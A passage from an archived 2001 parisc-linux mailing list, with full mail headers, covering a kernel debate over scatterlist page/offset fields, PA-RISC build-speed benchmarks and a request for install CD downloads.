> address in the pci_map* interfaces and struct scatterlist.
> But then replace it across the board so the DMA mapping code
> doesn't have to decide which field to use (KISS). This really
> belongs in 2.5 kernel.

It's not half-assed, it's needed. I would imagine that pci_map_single
etc stays though, although pci_map_page or pci_map_sg is the preferred
approach.

Regarding the patch -- please add a helper function to set the sg list
instead of introducing CONFIG_HIGHMEM all over the place. I'm assuming
you are missing the piece which leaves out page/offset for non-highmem,
if not you are really pedantic about saving a few cycles :-)

-- 
Jens Axboe




From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240 Graphics, 64bit kernel and more)
Date: Fri, 16 Nov 2001 10:10:28 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <E164fx6-0003VW-00@the-village.bc.nu>
References: <20011116073418.A15527@alpha.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620763 30090 80.91.229.3 (22 Nov 2014 01:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:03 +0000 (UTC)
Cc: xam@student.cs.ucc.ie (Markus Grabert),
	parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 03:03:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 429C8482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 03:03:18 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 164fx6-0003VW-00; Fri, 16 Nov 2001 10:10:28 +0000
In-Reply-To: <20011116073418.A15527@alpha.of.nowhere> from "Jurriaan on Alpha" at Nov 16, 2001 07:34:18 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13080

> Alpha (gcc-2.95.4)        : real 5m45 user 5m13 system  9s
> Alpha (gcc-3.0.2 20010924): real 4m36 user 4m12 system 10s
> C200+ (gcc-3.0.2 20010922): real 8m23 user 7m48 system 33s
> dual P3/700 (gcc-2.95.4)  : real 1m20 user 1m17 system  3s

Be cautious. Unless you built cross compilers and each is building for
the same target you are doing different amounts of work for each target
CPU

Looking at the high system time I guess there is work to do on the hppa,
but it doesn't suprise me. It takes a lot of time to tune a port after it
actually works reliably



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240
	Graphics, 64bit kernel and more)
Date: Fri, 16 Nov 2001 11:28:50 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <sbf4faad.061@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620763 30095 80.91.229.3 (22 Nov 2014 01:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:03 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 03:39:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3DFA482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 03:39:52 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id LAA05941 for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 11:39:50 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma005635; Fri, 16 Nov 01 11:38:32 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Fri, 16 Nov 2001 11:38:21 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13081

>> Alpha (gcc-2.95.4)        : real 5m45 user 5m13 system  9s
>> Alpha (gcc-3.0.2 20010924): real 4m36 user 4m12 system 10s
>> C200+ (gcc-3.0.2 20010922): real 8m23 user 7m48 system 33s
>> dual P3/700 (gcc-2.95.4)  : real 1m20 user 1m17 system  3s
>
>Be cautious. Unless you built cross compilers and each is building for
>the same target you are doing different amounts of work for each target
>CPU

In what way? It's not like the ./configure script will produce very =
different
results on alpha vs parisc, it doesn't even check for 64 bits/32 bits
differences. All this just demonstrated my gut feeling that compiling (
the kernel, for example) feels slower on parisc than it should be.

>
>Looking at the high system time I guess there is work to do on the hppa,
>but it doesn't suprise me. It takes a lot of time to tune a port after it
>actually works reliably
>
It's exciting to be involved in - I  fully agree.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Linux/PA-RISC speed (was Re: C240
Date: Fri, 16 Nov 2001 11:08:49 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E164grZ-0003fd-00@the-village.bc.nu>
References: <sbf4faad.062@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620763 30104 80.91.229.3 (22 Nov 2014 01:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:03 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@lists.parisc-linux.org
To: Jurriaan.Kalkman@zrt.nl (Jurriaan Kalkman)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 04:01:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED5DC482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 04:01:06 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 164grZ-0003fd-00; Fri, 16 Nov 2001 11:08:49 +0000
In-Reply-To: <sbf4faad.062@ms-zrt1> from "Jurriaan Kalkman" at Nov 16, 2001 11:28:50 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13082

> In what way? It's not like the ./configure script will produce very =
> different
> results on alpha vs parisc, it doesn't even check for 64 bits/32 bits
> differences. All this just demonstrated my gut feeling that compiling (
> the kernel, for example) feels slower on parisc than it should be.

The amount of work to build a kernel for a given platofrm depends a lot on
the CPU, the number of instructions and the number of combinations of
optimisations



From - Thu Nov 08 21:20:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <xfs@linux.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD to download?
Date: Fri, 16 Nov 2001 13:28:38 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111161324250.26804-100000@oden.valhall>
Reply-To: <xfs@linux.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620764 30107 80.91.229.3 (22 Nov 2014 01:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 05:28:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xfs.ath.cx (du82-150.ppp.algonet.se [195.100.150.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7651C482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 05:28:17 -0700 (MST)
Original-Received: from oden.valhall (oden.valhall [192.168.0.3])
	by xfs.ath.cx (Postfix) with ESMTP id 1123A17A42
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 13:28:38 +0100 (CET)
X-X-Sender: <j@oden.valhall>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13083

Hello!!

I just got a cdrom to my HpPa 712/60  =).
For the moment it runs HP/UX (did'nt get linux to boot over network, dont
know what I did wrong, probably something on my boot-server.
WellWell...

I wonder: Is there any url for some install-cd's to download and burn for
Pa-risc-Linux for HpPa712/60?

Dont know if it will work ether, becouse my (burned) Hp/UX 10.20-cd will
not boot... I hope it is wrong on that CD and not something with the
cdromdrive.

(Please reply to my email: xfs@linux.se becouse I'm not on this list)

Mvh Johan Andersson
    <xfs@linux.se>




From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD to download?
Date: Fri, 16 Nov 2001 14:27:35 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <OE308KcWYzdnYowb29D0000c0dc@hotmail.com>
References: <Pine.LNX.4.33.0111161324250.26804-100000@oden.valhall>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620764 30111 80.91.229.3 (22 Nov 2014 01:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:04 +0000 (UTC)
To: <xfs@linux.se>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 06:30:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe30.law4.hotmail.com [216.33.148.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4853D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 06:30:07 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 16 Nov 2001 05:30:05 -0800
X-Originating-IP: [212.190.2.155]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 16 Nov 2001 13:30:05.0905 (UTC) FILETIME=[CDC48410:01C16EA2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13084

http://www.parisc-linux.org/release-0.9/index.html
----- Original Message ----- 
From: <xfs@linux.se>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, November 16, 2001 1:28 PM
Subject: [parisc-linux] CD to download?


> Hello!!
> 
> I just got a cdrom to my HpPa 712/60  =).
> For the moment it runs HP/UX (did'nt get linux to boot over network, dont
> know what I did wrong, probably something on my boot-server.
> WellWell...
> 
> I wonder: Is there any url for some install-cd's to download and burn for
> Pa-risc-Linux for HpPa712/60?
> 
> Dont know if it will work ether, becouse my (burned) Hp/UX 10.20-cd will
> not boot... I hope it is wrong on that CD and not something with the
> cdromdrive.
> 
> (Please reply to my email: xfs@linux.se becouse I'm not on this list)
> 
> Mvh Johan Andersson
>     <xfs@linux.se>
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 06:52:43 -0800 (PST)
Lines: 10
Approved: news@gmane.org
Message-ID: <20011116.065243.134136673.davem@redhat.com>
References: <200111160730.AAA18774@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620764 30113 80.91.229.3 (22 Nov 2014 01:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:04 +0000 (UTC)
Cc: linux-mm@kvack.org, parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 07:52:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E791482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 07:52:52 -0700 (MST)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id GAA02008;
	Fri, 16 Nov 2001 06:52:44 -0800
In-Reply-To: <200111160730.AAA18774@puffin.external.hp.com>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13085

No, you must have page+offset because in the future the
"address" field of scatterlist is going to disappear
and _ONLY_ page+offset will be used.

Do not hack around it, just fix your scatterlist definition instead.
I'm trying to push a Documentation/DMA-mapping.txt update to Linus
which talks about this explicitly and requires your port to have those
fields. 



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 15:04:54 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20011116150454.J25491@parcelfarce.linux.theplanet.co.uk>
References: <200111160730.AAA18774@puffin.external.hp.com> <20011116.065243.134136673.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620765 30116 80.91.229.3 (22 Nov 2014 01:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:05 +0000 (UTC)
Cc: grundler@puffin.external.hp.com, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:05:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 996C8482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:05:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 164kY2-0001Ul-00; Fri, 16 Nov 2001 15:04:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011116.065243.134136673.davem@redhat.com>; from davem@redhat.com on Fri, Nov 16, 2001 at 06:52:43AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13086

On Fri, Nov 16, 2001 at 06:52:43AM -0800, David S. Miller wrote:
> 
> No, you must have page+offset because in the future the
> "address" field of scatterlist is going to disappear
> and _ONLY_ page+offset will be used.

but _WHY_ in 2.4?  this is ridiculous for something which is alleged to
be a stable kernel.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 07:17:51 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20011116.071751.12999342.davem@redhat.com>
References: <200111160730.AAA18774@puffin.external.hp.com>
	<20011116.065243.134136673.davem@redhat.com>
	<20011116150454.J25491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620765 30118 80.91.229.3 (22 Nov 2014 01:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:05 +0000 (UTC)
Cc: grundler@puffin.external.hp.com, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:18:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 112AC482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:18:08 -0700 (MST)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id HAA02120;
	Fri, 16 Nov 2001 07:17:51 -0800
In-Reply-To: <20011116150454.J25491@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13087

   From: Matthew Wilcox <willy@debian.org>
   Date: Fri, 16 Nov 2001 15:04:54 +0000

   On Fri, Nov 16, 2001 at 06:52:43AM -0800, David S. Miller wrote:
   > 
   > No, you must have page+offset because in the future the
   > "address" field of scatterlist is going to disappear
   > and _ONLY_ page+offset will be used.
   
   but _WHY_ in 2.4?  this is ridiculous for something which is alleged to
   be a stable kernel.
   
You have to add two members to a silly structure which nobody
uses right now, that is so horrible.  What affect on stability
does that change have?

This makes merging of Jen's Axboe's block highmem code back into
2.4.x painless.  That is why.

Franks a lot,
David S. Miller
davem@redhat.com



From - Thu Nov 08 21:20:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 15:26:01 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20011116152601.K25491@parcelfarce.linux.theplanet.co.uk>
References: <200111160730.AAA18774@puffin.external.hp.com> <20011116.065243.134136673.davem@redhat.com> <20011116150454.J25491@parcelfarce.linux.theplanet.co.uk> <20011116.071751.12999342.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620765 30123 80.91.229.3 (22 Nov 2014 01:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:05 +0000 (UTC)
Cc: willy@debian.org, grundler@puffin.external.hp.com,
	linux-mm@kvack.org, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 08:26:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AC4D4831
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 08:26:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 164ksT-0001zj-00; Fri, 16 Nov 2001 15:26:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011116.071751.12999342.davem@redhat.com>; from davem@redhat.com on Fri, Nov 16, 2001 at 07:17:51AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13088

On Fri, Nov 16, 2001 at 07:17:51AM -0800, David S. Miller wrote:
>    From: Matthew Wilcox <willy@debian.org>
>    Date: Fri, 16 Nov 2001 15:04:54 +0000
> 
>    On Fri, Nov 16, 2001 at 06:52:43AM -0800, David S. Miller wrote:
>    > 
>    > No, you must have page+offset because in the future the
>    > "address" field of scatterlist is going to disappear
>    > and _ONLY_ page+offset will be used.
>    
>    but _WHY_ in 2.4?  this is ridiculous for something which is alleged to
>    be a stable kernel.
>    
> You have to add two members to a silly structure which nobody
> uses right now, that is so horrible.  What affect on stability
> does that change have?
> 
